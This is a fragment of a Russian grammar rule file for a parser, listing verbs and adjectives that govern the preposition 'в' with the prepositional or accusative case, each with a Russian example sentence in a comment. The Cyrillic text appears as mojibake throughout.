rus_verbs:ะฝะฐัะฐัััั{}, // ะ ะดะตัะตะฒะฝะต ะฝะฐัะฐะปะธัั ะฟะพะปะตะฒัะต ัะฐะฑะพัั.
rus_verbs:ะฑะปะตัะฝััั{}, // ะ ะณะพะปะพะฒะต ะฑะปะตัะฝัะปะฐ ั
ะพัะพัะฐั ะผััะปั.
rus_verbs:ะฒะตััะตัััั{}, // ะ ะณะพะปะพะฒะต ะฒะตััะธััั ะฒัะตัะฐัะฝะธะน ัะฐะทะณะพะฒะพั.
rus_verbs:ะฒะตััั{}, // ะ ะฒะพะทะดัั
ะต ะฒะตะตั ะฟัะพั
ะปะฐะดะพะน.
rus_verbs:ะฒะธัะตัั{}, // ะ ะฒะพะทะดัั
ะต ะฒะธัะธั ะทะฝะพะน.
rus_verbs:ะฝะพัะธัััั{}, // ะ ะฒะพะทะดัั
ะต ะฝะพััััั ะบะพะผะฐัั.
rus_verbs:ะณัะตััะธ{}, // ะัะตััะธ ะฒ ัะฟะพะบะพะนะฝะพะน ะฒะพะดะต ะฑัะดะตั ะฝะตะผะฝะพะณะพ ะปะตะณัะต, ะฝะพ ัะบััะฝะตะต
rus_verbs:ะฒะพัะบัะตัะธัั{}, // ะฒะพัะบัะตัะธัั ะฒ ะฟะฐะผััะธ
rus_verbs:ะฟะพะฟะปะฐะฒะฐัั{}, // ะฟะพะฟะปะฐะฒะฐัั ะฒ 100-ะผะตััะพะฒะพะผ ะฑะฐััะตะนะฝะต
rus_verbs:ะฟะพัััะฐะดะฐัั{}, // ะ ะผะฐััะพะฒะพะน ะดัะฐะบะต ะฟะพัััะฐะดะฐะป 23-ะปะตัะฝะธะน ะผัะถัะธะฝะฐ
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฒะตัะตะฝะฝัะน{ ะฟัะธัะฐััะธะต }, // ะะฝะฐ ัะฒะตัะตะฝะฐ ะฒ ัะฒะพะธั
ัะธะปะฐั
.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟะพััะพัะฝะฝัะน{}, // ะะฝะฐ ะฟะพััะพัะฝะฝะฐ ะฒะพ ะฒะบััะฐั
.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะธะปัะฝัะน{}, // ะะฝ ะฝะต ัะธะปัะฝ ะฒ ะผะฐัะตะผะฐัะธะบะต.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟะพะฒะธะฝะฝัะน{}, // ะะฝ ะฝะต ะฟะพะฒะธะฝะตะฝ ะฒ ััะพะผ.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒะพะทะผะพะถะฝัะน{}, // ะฃัะฐะณะฐะฝั, ัะธะปัะฝัะต ะณัะพะทั ะธ ะดะฐะถะต ัะผะตััะธ ะฒะพะทะผะพะถะฝั ะฒ ะบะพะฝัะต ะฟะตัะธะพะดะฐ ัะธะปัะฝะพะน ะถะฐัั
rus_verbs:ะฒัะฒะตััะธ{}, // ัะฟะพัะพะฑะฝัะน ะปะตัะฐัั ะฝะฐะด ะทะตะผะปะตะน ะบัะพะบะพะดะธะป ะฑัะป ะฒัะฒะตะดะตะฝ ะฒ ัะตะบัะตัะฝะพะน ะปะฐะฑะพัะฐัะพัะธะธ
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝัะถะฝัะน{}, // ัะบะพะฒะพัะพะดะบะฐ ัะพะถะต ะฝัะถะฝะฐ ะฒ ั
ะพะทัะนััะฒะต.
rus_verbs:ัะตััั{}, // ะะฝะฐ ัะตะปะฐ ะฒ ัะตะฝะธ
rus_verbs:ะทะฐะปะธะฒะฐัััั{}, // ะฒ ะฝะฐัะตะผ ะฟะฐัะบะต ะทะฐะปะธะฒะฐัััั ัะพะปะพะฒัะธ
rus_verbs:ัะฐะทะฝะตััะธ{}, // ะ ะปะตัั ะพะณะพะฝั ะฟะพะถะฐัะฐ ะผะณะฝะพะฒะตะฝะฝะพ ัะฐะทะฝะตัะปะพ
rus_verbs:ััะฒััะฒะพะฒะฐัััั{}, // ะ ััะฟะปะพะผ, ะฝะพ ัััะพะผ ะฒะพะทะดัั
ะต ะพัััะพ ััะฒััะฒะพะฒะฐะปะพัั ะดัั
ะฐะฝะธะต ะพัะตะฝะธ
// rus_verbs:ัะฐััะธ{}, // ะดะตัะตะฒะพ, ัะฐััััะตะต ะฒ ะปะตัั
rus_verbs:ะฟัะพะธัั
ะพะดะธัั{}, // ััะพ ะฟัะพะธัั
ะพะดะธั ะฒ ะฟะพะปะธะบะปะธะฝะฝะธะบะต
rus_verbs:ัะฟะฐัั{}, // ะบัะพ ัะฟะธั ะฒ ะผะพะตะน ะบัะพะฒะฐัะธ
rus_verbs:ะผััั{}, // ะผััั ะผะฐัะธะฝั ะฒ ัะฐะดั
ะะ_ะะะค(ัะฐัะธัั), // ะ ะฒะพะทะดัั
ะต ัะฐัะธะปะพ ะฑะตะทะผะพะปะฒะธะต
ะะ_ะะะค(ะผะตััะธ), // ะผะตััะธ ะฒ ะฟัะธั
ะพะถะตะน ะฟะพะป
ะะ_ะะะค(ะฟัััะฐัั), // ะฟัััะฐัั ะฒ ัะผะต
ะะ_ะะะค(ัะฒะธะดะตัั), ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฒะธะดะตะฒัะธะน{}, ะดะตะตะฟัะธัะฐััะธะต:ัะฒะธะดะตะฒ{}, // ัะฒะธะดะตะป ะฟะตัะธะพะดะธัะตัะบัั ัะฐะฑะปะธัั ัะปะตะผะตะฝัะพะฒ ะฒะพ ัะฝะต.
// ะะ_ะะะค(ัะพะฑัะฐัััั), // ัะพะฑัะฐัััั ะฒ ะฟะพััั
ะะ_ะะะค(ัะปััะธัััั), // ััะพ-ัะพ ัะปััะธะปะพัั ะฒ ะฑะพะปัะฝะธัะต
ะะ_ะะะค(ะทะฐะถะตัััั), // ะฒ ะฝะตะฑะต ะทะฐะถะณะปะธัั ะทะฒัะทะดั
ะะ_ะะะค(ะบัะฟะธัั), // ะบัะฟะธ ะผะพะปะพะบะฐ ะฒ ะผะฐะณะฐะทะธะฝะต
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟัะพะฟะฐะณะฐะฝะดะธัะพะฒะฐะฒัะธะนัั{} // ะณััะฟะฟะฐ ัััะดะตะฝัะพะฒ ัะฝะธะฒะตััะธัะตัะฐ ะดััะถะฑั ะฝะฐัะพะดะพะฒ, ะฐะบัะธะฒะฝะพ ะฟัะพะฟะฐะณะฐะฝะดะธัะพะฒะฐะฒัะตะนัั ะฒ ะกะกะกะ
}
// ะงัะพะฑั ัะฐะทัะตัะธัั ัะฒัะทัะฒะฐะฝะธะต ะฒ ะฟะฐััะตัะฝะฐั
ัะธะฟะฐ: ะฟะพะพะฑะตะดะฐัั ะฒ macdonalds
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะ_ะัะตะดะป ะฟัะตะดะปะพะณ:ะฒ{} @regex("[a-z]+[0-9]*") }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะ_ะัะตะดะป ะฟัะตะดะปะพะณ:ะฒ{} *:*{ ะฟะฐะดะตะถ:ะฟัะตะดะป } }
then return true
}
// ะก ะปะพะบะฐัะธะฒะพะผ:
// ัะพะฑัะฐัััั ะฒ ะฟะพััั
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะ_ะัะตะดะป ะฟัะตะดะปะพะณ:ะฒ{} ัััะตััะฒะธัะตะปัะฝะพะต:*{ ะฟะฐะดะตะถ:ะผะตัั } }
then return true
}
#endregion ะัะตะดะปะพะถะฝัะน
#region ะะธะฝะธัะตะปัะฝัะน
// ะะปั ะณะปะฐะณะพะปะพะฒ ะดะฒะธะถะตะฝะธั ั ะฒััะฐะถะตะฝะฝัะผ ะฝะฐะฟัะฐะฒะปะตะฝะธะตะผ ะดะตะนััะฒะธั ะผะพะถะตั ะฟัะธัะพะตะดะธะฝััััั
// ะฟัะตะดะปะพะถะฝัะน ะฟะฐััะตัะฝ ั ะฒะธะฝะธัะตะปัะฝัะผ ะฟะฐะดะตะถะพะผ.
wordentry_set ะะป_ะ_ะะธะฝ =
{
rus_verbs:ะฒะดะฐะฒะธัััั{}, // ะัะปะพ ะฑะพะปัะฝะพ ะฒะดะฐะฒะธะปะพัั ะฒ ะฟะพะทะฒะพะฝะพะบ.
ะณะปะฐะณะพะป:ะฒะฒะตัะณะฝััั{}, // ะะฒัั
ะฟัะตะปะตััะฝะตะนัะธั
ะดะฐะผ ะพะฝ ะฒะฒะตัะณะฝัะป ะฒ ะณะพัะต.
ะณะปะฐะณะพะป:ะฒะฒะตัะณะฐัั{},
ะธะฝัะธะฝะธัะธะฒ:ะฒะฒะตัะณะฝััั{},
ะธะฝัะธะฝะธัะธะฒ:ะฒะฒะตัะณะฐัั{},
rus_verbs:ะดะฒะธะฝััััั{}, // ะะฒะธะฝัะปะธัั ะฒ ะฟััั ะธ ะผั.
rus_verbs:ัะฟะปะฐะฒะฐัั{}, // ะกะฟะปะฐะฒะฐัั ะฒ ะ ะพััะธั!
rus_verbs:ัะปะพะถะธัััั{}, // ะฃะปะพะถะธัััั ะฒ ะฒะพัะบัะตัะตะฝัะต.
rus_verbs:ัะฟะตัะธัั{}, // ะกะฟะตัะธัะต ะฒ ะะพะฝะดะพะฝ
rus_verbs:ะบะธะฝััั{}, // ะะธะฝััะต ะฒ ะผะพัะต.
rus_verbs:ะฟัะพัะธัััั{}, // ะัะพัะธะปะฐัั ะฒ ะะธะบะฐัะฐะณัะฐ.
rus_verbs:ะฟัะธัะพะฟะฐัั{}, // ะัะธัะพะฟะฐะป ะฒ ะัะดะฐะฟะตัั.
rus_verbs:ัะบะฐัะฐัััั{}, // ะกะบะฐัะฐะปัั ะฒ ะัะฐัะฝะพัััะบ.
rus_verbs:ัะพัะบะพะปัะทะฝััั{}, // ะกะพัะบะพะปัะทะฝัะป ะฒ ะฟะธะบะต.
rus_verbs:ัะพัะบะฐะปัะทัะฒะฐัั{},
rus_verbs:ะธะณัะฐัั{}, // ะะณัะฐะป ะฒ ะดัััะต.
ะณะปะฐะณะพะป:ะฐะนะดะฐ{}, // ะะนะดะฐ ะฒ ะบะฐะผะพัั.
rus_verbs:ะพัะทัะฒะฐัั{}, // ะัะทัะฒะฐะปะธ ะฒ ะะพัะบะฒั...
rus_verbs:ัะพะพะฑัะฐัััั{}, // ะกะพะพะฑัะฐะตััั ะฒ ะะพะฝะดะพะฝ.
rus_verbs:ะฒะดัะผะฐัััั{}, // ะะดัะผะฐะนัะตัั ะฒ ะฝะธั
.
rus_verbs:ะฟัะพะตั
ะฐัั{}, // ะัะพะตั
ะฐัั ะฒ ะัะฝะตะฒะพ...
rus_verbs:ัะฟััะณะธะฒะฐัั{}, // ะกะฟััะณะธะฒะฐะตะผ ะฒ ะฝะตะณะพ.
rus_verbs:ะฒะตัะธัั{}, // ะะตัั ะฒ ะฒะฐั!
rus_verbs:ะฟัะธะฑััั{}, // ะัะธะฑัะป ะฒ ะะพะดะผะพัะบะพะฒัะต.
rus_verbs:ะฟะตัะตั
ะพะดะธัั{}, // ะะตัะตั
ะพะดะธัะต ะฒ ัะบะพะปั.
rus_verbs:ะดะพะปะพะถะธัั{}, // ะะพะปะพะถะธะปะธ ะฒ ะะพัะบะฒั.
rus_verbs:ะฟะพะดะฐะฒะฐัััั{}, // ะะพะดะฐะฒะฐัััั ะฒ ะ ะพััะธั?
rus_verbs:ัะฟััะณะฝััั{}, // ะกะฟััะณะฝัะป ะฒ ะฝะตะณะพ.
rus_verbs:ะฒัะฒะตะทัะธ{}, // ะัะฒะตะทะปะธ ะฒ ะะธัะฐะน.
rus_verbs:ะฟัะพะฟะธั
ะธะฒะฐัั{}, // ะฏ ะพัะตะฝั ะฐะบะบััะฐัะฝะพ ะฟัะพะฟะธั
ะธะฒะฐะป ะดัะปะพ ะฒ ะฝะพะทะดัั.
rus_verbs:ะฟัะพะฟะธั
ะฝััั{},
rus_verbs:ััะฐะฝัะฟะพััะธัะพะฒะฐัััั{},
rus_verbs:ะทะฐะบัะฐะดัะฒะฐัััั{}, // ะฒ ะณะพะปะพะฒั ะฝะฐัะฐะปะธ ะทะฐะบัะฐะดัะฒะฐัััั ะบะพะต-ะบะฐะบะธะต ัะพะผะฝะตะฝะธั ะธ ะฟะพะดะพะทัะตะฝะธั
rus_verbs:ะดััั{},
rus_verbs:ะะะะะขะะขะฌ{}, //
rus_verbs:ะ ะะะะะะะขะะขะฌ{}, //
rus_verbs:ะะะะ ะะกะขะะขะฌ{}, //
rus_verbs:ะะะะ ะะกะขะ{}, //
rus_verbs:ะะะะะฏะขะฌ{}, // ะะฝ ะฟะพะดะฝัะป ะฟะพะปะพะฒะธะฝะบั ัะฐะผะพะปะตัะฐ ะฒ ะฒะพะทะดัั
ะธ ะฝะฐ ะฒัะตะน ัะบะพัะพััะธ ะฟะพะฒะตะป ะตะต ะบ ะณะพัะฐะผ. (ะะะะะฏะขะฌ)
rus_verbs:ะะขะะะขะะขะฌะกะฏ{}, // ะฃัะปััะฐะฒ ะทะฐ ัะฟะธะฝะพะน ะดัั
ะฐะฝะธะต, ะพะฝ ะฟััะณะฝัะป ะฒะฟะตัะตะด ะธ ะพัะบะฐัะธะปัั ะฒ ััะพัะพะฝั, ัะฐัััะธััะฒะฐั ััะบะพะปัะทะฝััั ะพั ะฒัะฐะณะฐ, ะฝะฐะฟะฐะดะฐะฒัะตะณะพ ัะทะฐะดะธ (ะะขะะะขะะขะฌะกะฏ)
rus_verbs:ะะะะะขะะขะฌะกะฏ{}, // ะ ะพะฑัะธะน ัะผัะฐะด ะฒะฟะปะตัะฐะปะพัั ะทะปะพะฒะพะฝัะต ะฟะตะฝั, ะปะตัะตะฒัะตะน ะธะท ะฟะฐััะตะน, ะธ ะบัะพะฒะธ ะธะท ะปะตะณะบะธั
(ะะะะะขะะขะฌะกะฏ)
rus_verbs:ะะะะะะะขะฌ{}, // ะะฝะธ ะฟะพะดัะผะฐะปะธ, ััะพ ะะฐะฒะตะป ะฟััะฐะตััั ะทะฐะผะฐะฝะธัั ะธั
ะฒ ะทะพะฝั ะพะฑัััะตะปะฐ. (ะะะะะะะขะฌ,ะะะะะะะะะขะฌ)
rus_verbs:ะะะะะะะะะขะฌ{},
rus_verbs:ะะ ะะขะ ะฃะะะขะฌ{}, // ะญัะธ ะฒัะฐัะฐ ะพัะบัะพัััั, ะบะพะณะดะฐ ะพะฝ ะฟัะพัััะฑะธั ะฒ ัะพะณ, ะธ ะฟัะพะฟััััั ะตะณะพ ะฒ ะดััะณัั ะฒัะตะปะตะฝะฝัั. (ะะ ะะขะ ะฃะะะขะฌ)
rus_verbs:ะะ ะฃะะะขะฌะกะฏ{}, // ะะปะธะฝะพะบ ัะปะพะผะฐะปัั, ะฝะต ะฒััะฑะธะฒัะธัั ะฒ ะผะตัะฐะปะป. (ะะ ะฃะะะขะฌะกะฏ/ะะ ะฃะะะขะฌะกะฏ)
rus_verbs:ะะ ะฃะะะขะฌะกะฏ{},
rus_verbs:ะะขะะ ะะะะขะฌ{}, // ะั ะธัะตะผ ะฑะปะฐะณะพัะพะดะฝะพะณะพ ะฒะตะปัะผะพะถั, ะบะพัะพััะน ะฝะฐะฝัะป ะฑั ะฝะฐั ะธะปะธ ะพัะฟัะฐะฒะธะป ะฒ ัััะฐััะบะธะน ะฟะพะธัะบ. (ะะขะะ ะะะะขะฌ)
rus_verbs:ะะะะะงะะขะฌ{}, // ะญัะพั ะฑัะป ะพะฑะปะฐัะตะฝ ะฒ ัะฒะตัะบะฐะฒัะธะต ะบัะฐัะฝัะต ะดะพัะฟะตั
ะธ ั ะพะฟััะตะฝะฝัะผ ะทะฐะฑัะฐะปะพะผ ะธ ะดะตัะถะฐะป ะพะณัะพะผะฝะพะต ะบะพะฟัะต, ะดะพะถะธะดะฐััั ัะฒะพะตะน ะพัะตัะตะดะธ. (ะะะะะงะะขะฌ/ะะะะะงะะขะฌ/ะะะะะงะะขะฌะกะฏ/ะะะะะงะะขะฌะกะฏ/ะะะ ะฏะะะขะฌะกะฏ/ะะะ ะฏะะะขะฌะกะฏ)
rus_verbs:ะะะะะงะะขะฌ{},
rus_verbs:ะะะะะงะะขะฌะกะฏ{},
rus_verbs:ะะะะะงะะขะฌะกะฏ{},
rus_verbs:ะะะ ะฏะะะขะฌะกะฏ{},
rus_verbs:ะะะ ะฏะะะขะฌะกะฏ{},
rus_verbs:ะะะฅะะะขะะขะฌ{}, // ะัะพะผะต ะฝะฐะฑัะฐะฝะฝะพะณะพ ัะฐะฑัะบะพะณะพ ะผะฐัะตัะธะฐะปะฐ ะพะฑััะฝะพะณะพ ัะธะฟะฐ, ะพะฝ ะทะฐั
ะฒะฐัะธะป ะฒ ะฟะปะตะฝ ะณััะฟะฟั ะพัะตะฝั ัััะฐะฝะฝัั
ัะพะทะดะฐะฝะธะน, ะฐ ัะฐะบะถะต ะถะตะฝัะธะฝั ะธัะบะปััะธัะตะปัะฝะพะน ะบัะฐัะพัั (ะะะฅะะะขะะขะฌ/ะะะฅะะะขะซะะะขะฌ/ะะะฅะะะข)
rus_verbs:ะะะฅะะะขะซะะะขะฌ{},
rus_verbs:ะะ ะะะะกะขะ{}, // ะะฝ ะฟัะพะฒะตะป ะธั
ะฒ ะผะฐะปะตะฝัะบะพะต ัะฒััะธะปะธัะต ะฟะพะทะฐะดะธ ััััะฒะฐะปะฐ. (ะะ ะะะะกะขะ)
rus_verbs:ะะะะะะขะฌ{}, // ะั
ะผะพะถะฝะพ ะฟะพะนะผะฐัั ะฒ ะปะพะฒััะบั (ะะะะะะขะฌ)
rus_verbs:ะกะขะ ะะะขะฌะกะฏ{}, // ะะฐ ะฒะตััะธะฝะต ะพะฝะธ ะพััะฐะฝะพะฒะธะปะธัั, ัััะพััั ะฒ ะบััะณ. (ะกะขะ ะะะขะฌะกะฏ,ะะะกะขะ ะะะขะฌะกะฏ,ะะซะกะขะ ะะะขะฌะกะฏ)
rus_verbs:ะะะกะขะ ะะะขะฌะกะฏ{},
rus_verbs:ะะซะกะขะ ะะะขะฌะกะฏ{},
rus_verbs:ะะซะะฃะกะขะะขะฌ{}, // ะะตัะบะพะปัะบะพ ัััะตะป, ะฒัะฟััะตะฝะฝัั
ะฒ ะฟัะตัะปะตะดัะตะผัั
, ะฒะพะฝะทะธะปะธัั ะฒ ััะฐะฒั (ะะซะะฃะกะขะะขะฌ/ะะซะะฃะกะะะขะฌ)
rus_verbs:ะะซะะฃะกะะะขะฌ{},
rus_verbs:ะะฆะะะะฏะขะฌะกะฏ{}, // ะะฝะธ ะฒัะตะฟะปััััั ัะตะฑะต ะฒ ะณะพัะปะพ. (ะะฆะะะะฏะขะฌะกะฏ/ะะฆะะะะขะฌะกะฏ)
rus_verbs:ะะฆะะะะขะฌะกะฏ{},
rus_verbs:ะะะะฌะะฃะขะฌ{}, // ะะพะปัั ะฒััะฐะฒะธะป ะฒ ัะตัะธะฒั ะฝะพะฒัั ัััะตะปั ะธ ะฟะฐะปัะฝัะป ะฒ ะฑะตะปะพะต ะฑััั
ะพ (ะะะะฌะะฃะขะฌ)
rus_verbs:ะะขะกะขะฃะะะขะฌ{}, // ะะพะปัั ะพััััะฟะธะป ะฒ ัะตะปั. (ะะขะกะขะฃะะะขะฌ/ะะขะกะขะฃะะะขะฌ)
rus_verbs:ะะขะกะขะฃะะะขะฌ{},
rus_verbs:ะะ ะะะะฃะขะฌ{}, // ะะพะปัั ะบัะธะบะฝัะป ะฒ ะพัะฒะตั ะธ ะผะตะดะปะตะฝะฝะพ ะพััััะฟะธะป ะพั ะฟัะธัั. (ะะ ะะะะฃะขะฌ)
rus_verbs:ะะซะฅะะฃะขะฌ{}, // ะ ะปะธัะพ ะตะผั ะดัั
ะฝัะปะธ ะฒะธะฝะฝัะผ ะฟะตัะตะณะฐัะพะผ. (ะะซะฅะะฃะขะฌ)
rus_verbs:ะะะขะ ะฃะะะขะฌ{}, // ะฏ ะฒะธะดะตะป ัะพะณ ะฒะพ ะฒัะตะผั ัะฒะพะธั
ัะบะธัะฐะฝะธะน ะฟะพ ะดะฒะพััั ะธ ะดะฐะถะต ะฟะพัััะฑะธะป ะฒ ะฝะตะณะพ (ะะะขะ ะฃะะะขะฌ)
rus_verbs:ะะขะะ ะซะะะขะฌะกะฏ{}, // ะะตะบะพัะพััะต ะฒัะฐัะฐ ะพัะบััะฒะฐะปะธัั ะฒ ะดััะณะธะต ะฒัะตะปะตะฝะฝัะต (ะะขะะ ะซะะะขะฌะกะฏ)
rus_verbs:ะขะ ะฃะะะขะฌ{}, // ะ ั ัััะฑะธะป ะฒ ัะพะณ (ะขะ ะฃะะะขะฌ)
rus_verbs:ะะซะ ะะฃะขะฌ{}, // ะะพะปัั ะฟััะฝัะป ะตะณะพ ะฒ ะฑะพะบ. (ะะซะ ะะฃะขะฌ)
rus_verbs:ะะ ะะกะะ ะะะะขะะขะฌ{}, // ะขะพั ััะพ-ัะพ ะฟัะพัะบัะตะถะตัะฐะป ะฒ ะพัะฒะตั, ะฐ ะทะฐัะตะผ ะฝะฐะพัะฐะป ะฝะฐ ะฝะตะณะพ. (ะะ ะะกะะ ะะะะขะะขะฌ ะ ะฒะธะฝ, ะะะะ ะะขะฌ ะะ ะฒะธะฝ)
rus_verbs:ะะะะะ ะขะะ ะะะะขะฌ{}, // ะธะผะฟะพััะธัะพะฒะฐัั ัะพะฒะฐัั ะดะฒะพะนะฝะพะณะพ ะฟัะธะผะตะฝะตะฝะธั ัะพะปัะบะพ ะฒ ะ ะพััะธะนัะบัั ะคะตะดะตัะฐัะธั (ะะะะะ ะขะะ ะะะะขะฌ)
rus_verbs:ะะขะชะะฅะะขะฌ{}, // ะะตะณะบะธะน ะณัะพั
ะพั ะบะฐัะบะพะฒ ะทะฐะณะปััะธะป ัะพะณ, ะบะพะณะดะฐ ะดะฒะตัั ะพััะตั
ะฐะปะฐ ะฒ ััะพัะพะฝั. (ะะขะชะะฅะะขะฌ)
rus_verbs:ะะะะะะกะขะะกะฌ{}, // ะะพะดะพะฑัะฐะฒ ะฝะธะถะฝะตะต ะฑะตะปัะต, ะฝะพัะบะธ ะธ ะฑะพัะธะฝะบะธ, ะพะฝ ะฟะพะฟะปะตะปัั ะฟะพ ะฟะตัะบั ะพะฑัะฐัะฝะพ ะฒ ะดะถัะฝะณะปะธ. (ะะะะะะะกะฏ)
rus_verbs:ะกะะะขะฌะกะฏ{}, // ะะตะปัะดะพะบ ั ะฝะตะณะพ ัะถะฐะปัั ะฒ ะบัะปะฐะบ. (ะกะะะขะฌะกะฏ, ะกะะะะะขะฌะกะฏ)
rus_verbs:ะกะะะะะขะฌะกะฏ{},
rus_verbs:ะฟัะพะฒะตัััั{}, // ะจะบะพะปัะฝะธะบะพะฒ ะฑัะดัั ะฟัะธะฝัะดะธัะตะปัะฝะพ ะฟัะพะฒะตัััั ะฝะฐ ะบััะตะฝะธะต
rus_verbs:ะะะขะฏะะฃะขะฌ{}, // ะฏ ะฟะพััะฝัะป ะตะณะพ ะฒ ะบะธะฝะพ (ะะะขะฏะะฃะขะฌ)
rus_verbs:ะะะ ะะะะกะขะ{}, // ะัะตะผัะตั-ะผะธะฝะธััั ะะฐะทะฐั
ััะฐะฝะฐ ะฟะพัััะธะป ะดะพ ะบะพะฝัะฐ ะณะพะดะฐ ะฟะตัะตะฒะตััะธ ะฒัะต ัะพัะธะฐะปัะฝะพ-ะทะฝะฐัะธะผัะต ััะปัะณะธ ะฒ ัะปะตะบััะพะฝะฝัะน ะฒะธะด (ะะะ ะะะะกะขะ)
rus_verbs:ะะ ะะกะะขะฌ{}, // ะะพัะตะผั ะบะธัะฐะนัะบะธะต ะฟะฐััะธะนะฝัะต ะฑะพััั ะบัะฐััั ะฒะพะปะพัั ะฒ ัะตัะฝัะน ัะฒะตั? (ะะ ะะกะะขะฌ/ะะะะ ะะกะะขะฌ/ะะะ ะะะ ะะกะะขะฌ/ะะะ ะะกะะขะฌ/ะะะะ ะะกะะขะฌ)
rus_verbs:ะะะะ ะะกะะขะฌ{}, //
rus_verbs:ะะะ ะะะ ะะกะะขะฌ{}, //
rus_verbs:ะะะ ะะกะะขะฌ{}, //
rus_verbs:ะะะะ ะะกะะขะฌ{}, //
rus_verbs:ะกะะะะฉะะขะฌ{}, // ะัะถัะธะฝะฐ ัะฐะฝะธะป ัะตะปะพะฒะตะบะฐ ะฒ ัะตะบั ะธ ัะฐะผ ัะพะพะฑัะธะป ะพะฑ ััะพะผ ะฒ ะฟะพะปะธัะธั (ะกะะะะฉะะขะฌ)
rus_verbs:ะกะขะฏะะะะะขะฌ{}, // ะะพ ัะพะปัะธะฝะฐ ะฟัะทััั ะฟะพััะพัะฝะฝะพ ะผะตะฝัะตััั ะธะท-ะทะฐ ะณัะฐะฒะธัะฐัะธะธ, ะบะพัะพัะฐั ัััะณะธะฒะฐะตั ะถะธะดะบะพััั ะฒ ะฝะธะถะฝัั ัะฐััั (ะกะขะฏะะะะะขะฌ/ะกะขะฏะะฃะขะฌ/ะะะขะฏะะฃะขะฌ/ะะขะฏะะฃะขะฌ)
rus_verbs:ะกะขะฏะะฃะขะฌ{}, //
rus_verbs:ะะะขะฏะะฃะขะฌ{}, //
rus_verbs:ะะขะฏะะฃะขะฌ{}, //
rus_verbs:ะกะะฅะ ะะะะขะฌ{}, // ัะพั
ัะฐะฝะธัั ะดะฐะฝะฝัะต ะฒ ัะฐะนะป (ะกะะฅะ ะะะะขะฌ)
ะดะตะตะฟัะธัะฐััะธะต:ะฟัะธะดั{}, // ะะตะผะฝะพะณะพ ะฟัะธะดั ะฒ ัะตะฑั
rus_verbs:ะฝะฐะฑะปัะดะฐัั{}, // ะกัะดัั , ะดะพะปะณะพ ะฝะฐะฑะปัะดะฐะฒัะธะน ะฒ ัััะฑั , ะฒะดััะณ ะฒัะบัะธัะฐะป
rus_verbs:ะฃะะซะะะขะฌะกะฏ{}, // ะพะฝะฐ ัะปัะฑะฐะปะฐัั ะฒะพ ะฒะตัั ัะพั (ะฃะะซะะะขะฌะกะฏ)
rus_verbs:ะะะขะะฃะขะฌะกะฏ{}, // ะพะฝะฐ ะผะตัะฝัะปะฐัั ะพะฑัะฐัะฝะพ ะฒะพ ััะผั (ะะะขะะฃะขะฌะกะฏ)
rus_verbs:ะะะกะะะะะะะขะฌ{}, // ะฑะพะปััะธะฝััะฒะพ ะถะธัะตะปะตะน ะณะพัะพะดะฐ ะฟะพัะปะตะดะพะฒะฐะปะพ ะทะฐ ะฝะธะผ ะฒะพ ะดะฒะพัะตั (ะะะกะะะะะะะขะฌ)
rus_verbs:ะะะ ะะะะฉะะขะฌะกะฏ{}, // ัะบัััะตะผะธััั ะฟะตัะตะผะตัะฐัััั ะธะท ะปะตัะพะฒ ะฒ ะกะตัั (ะะะ ะะะะฉะะขะฌะกะฏ)
rus_verbs:ะะซะขะะฉะะขะฌ{}, // ะะปะตะบัะตะน ะฟะพะทะฒะพะปะธะป ะฒััะฐัะธัั ัะตะฑั ัะตัะตะท ะดะฒะตัั ะฒะพ ััะผั (ะะซะขะะฉะะขะฌ)
rus_verbs:ะกะซะะะขะฌะกะฏ{}, // ะฒะฝะธะทั ะฟะพะด ะฝะธะผะธ ะบะฐะผะฝะธ ะณัะฐะดะพะผ ััะฟะฐะปะธัั ะฒะพ ะดะฒะพั (ะกะซะะะขะฌะกะฏ)
rus_verbs:ะฒัะตะทะถะฐัั{}, // ะทะฐะบะปััะตะฝะฝัะต ัะฐะผะธ ัััั ะบัะบะปั ะธ ะธะฝะพะณะดะฐ ะฒัะตะทะถะฐัั ั ะฟัะตะดััะฐะฒะปะตะฝะธัะผะธ ะฒ ะดะตััะบะธะน ะดะพะผ ะฝะตะฟะพะดะฐะปะตะบั
rus_verbs:ะะ ะะงะะขะฌ{}, // ะตะน ั
ะพัะตะปะพัั ะบัะธัะฐัั ะฒะพ ะฒะตัั ะณะพะปะพั (ะะ ะะงะะขะฌ ะ ะฒะธะฝ)
rus_verbs:ะะซะะ ะฏะะะขะฌะกะฏ{}, // ะฒะพะปะบ ะฒัะฟััะผะธะปัั ะฒะพ ะฒะตัั ะพะณัะพะผะฝัะน ัะพัั (ะะซะะ ะฏะะะขะฌะกะฏ ะ ะฒะธะฝ)
rus_verbs:ัะฟัััะฐัั{}, // ะะถะพะฝ ัะฟัััะฐะป ะพัะบะธ ะฒะพ ะฒะฝัััะตะฝะฝะธะน ะบะฐัะผะฐะฝ (ัะฟัััะฐัั ะฒ ะฒะธะฝ)
rus_verbs:ะญะะกะขะ ะะะะ ะะะะขะฌ{}, // ะฃะบัะฐะธะฝะฐ ัะบัััะฐะดะธััะตั ะฒ ะขะฐะดะถะธะบะธััะฐะฝ ะทะฐะดะตัะถะฐะฝะฝะพะณะพ ะฑัะฒัะตะณะพ ะฟัะตะผัะตั-ะผะธะฝะธัััะฐ (ะญะะกะขะ ะะะะ ะะะะขะฌ ะ ะฒะธะฝ)
rus_verbs:ะะะะะะขะฌ{}, // ะปะฐะฑะพัะฐัะพัะฝัะน ะผะพะฝะธัะพัะธะฝะณ ะฒะฒะพะทะธะผะพะน ะฒ ะ ะพััะธั ะผััะฝะพะน ะฟัะพะดัะบัะธะธ ะธะท ะกะจะ (ะะะะะะขะฌ ะ ะฒะธะฝ)
rus_verbs:ะฃะะะะะะะขะฌ{}, // ัะฟะฐะบะพะฒะฐะฝะฝัั
ะฒ ะฝะตัะบะพะปัะบะพ ัะปะพะตะฒ ะฟะพะปะธััะธะปะตะฝะฐ (ะฃะะะะะะะขะฌ ะ ะฒะธะฝ)
